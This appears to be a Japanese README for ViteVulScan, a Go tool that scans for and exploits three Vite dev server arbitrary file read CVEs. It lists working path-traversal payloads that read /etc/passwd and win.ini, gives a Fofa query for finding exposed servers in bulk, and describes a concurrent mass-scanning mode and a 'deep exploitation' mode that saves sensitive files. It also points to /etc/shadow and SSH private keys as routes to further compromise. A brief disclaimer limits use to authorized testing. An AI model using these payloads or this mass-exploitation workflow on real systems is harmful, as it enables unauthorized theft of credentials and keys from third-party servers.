ViteVulScan

脆弱性の説明

このプロジェクトは3つの脆弱性に関連しています：CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486。これらはすべてVite開発サーバーの任意ファイル読み取り脆弱性であり、カバレッジが広く、利用が簡単で制限がありません。

脆弱性POC：

CVE-2025-30208：

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

パス中の /@fs は省略可能です。

Fofa 検索構文：

body="/@vite/client"

ツールの使用方法

ツールの特徴

1. fofa と連携してバッチ利用が可能
2. 脆弱性が存在する正確なパスを解析し、深く利用する
3. go の並行処理機能を活用し、短時間で大量のアセットを迅速にバッチプローブ可能

ビルド手順

go バージョン：go 1.20以上

プロジェクトルートディレクトリに移動

まず依存関係を同期します

go mod tidy

次にプロジェクトをビルドします

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

./ViteVulScan でスクリプトを実行できます。

もちろん、プロジェクトルートディレクトリで直接実行することもできます：

go run .

設定

スクリプトは fofa と連携してアセットを検索し、バッチ検出を行うことができます。

fofa を使用するには、app.ini ファイルとコンパイルされたバイナリファイルが同じディレクトリにあることを確認し、config ディレクトリ内の app.ini ファイルを修正してください。fofakey フィールドに自分の fofakey を入力し、num は検出するおおよそのアセット数です。

この脆弱性に対してより良い fofa 検索構文がある場合は、fofaQuery フィールドを自分で変更できます。

コマンドライン引数の説明

Usage of ./ViteVulScan:

注意事項

1. ファイル内のすべてのターゲットURLをバッチ検出する場合、ファイルの各行に1つのURLを記述します。URLは http を含む完全なURLでも、ドメイン名やIPでも構いません。例：
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. -fofa または -f 引数を指定して検出した場合、脆弱性が存在するアセットは自動的に「タイムスタンプ.csv」というファイル名で現在のディレクトリに保存されます。
3. Linux と Windows 両方のプラットフォームに対応しています。使用する辞書はそれぞれ dict ディレクトリ内の linux_sensitive_path.txt と windows_sensitive_path.txt です。機密パスをさらに追加する場合は、対応する辞書に自分で追加できます。

例

__例 1：__fofa と連携してバッチ検出：

./ViteVulScan -fofa

スキャン終了後、result ディレクトリにタイムスタンプ名の CSV ファイルが保存されます（成功した URL）：

__例 2：__脆弱性が存在する URL に対する深い利用：

./ViteVulScan -u example.com -e

「利用成功」と表示された場合、result ディレクトリを確認すると、スキャンした URL 名のディレクトリが作成され、スキャンされた機密ファイルの内容が元のファイル形式で解析され、対応するパスに保存されます。効果は次のとおりです：

保存された result/localhost:5173/etc/passwd の内容を例にとると、機密情報の完全な内容が保存されており、その後の利用に役立ちます（/etc/shadow やサーバーの SSH 秘密鍵が読み取れれば、さらに利用可能です）。

免責事項

このツールはセキュリティ研究および許可されたテストの目的のみで使用してください。不正使用は禁止されています。このツールを使用して許可なくテストを行った結果生じた責任は、使用者自身が負うものとします。

更新履歴

3月29日 初回リリース：

• fofa によるアセット収集機能を実装
• CVE_2025_30208 脆弱性を使用したバッチ検証機能を実装
• コマンドライン解析機能を追加

4月1日：

• 深い利用機能を実装

4月2日：

• 公開されたばかりの CVE_2025_31125 脆弱性の検証を追加

4月9日

• fofa モジュールのエラーを修正
• 並行処理機能を追加し、高速なバッチプローブをサポート
• CVE_2025_31486 の検証を追加
• プロジェクトファイル構造を修正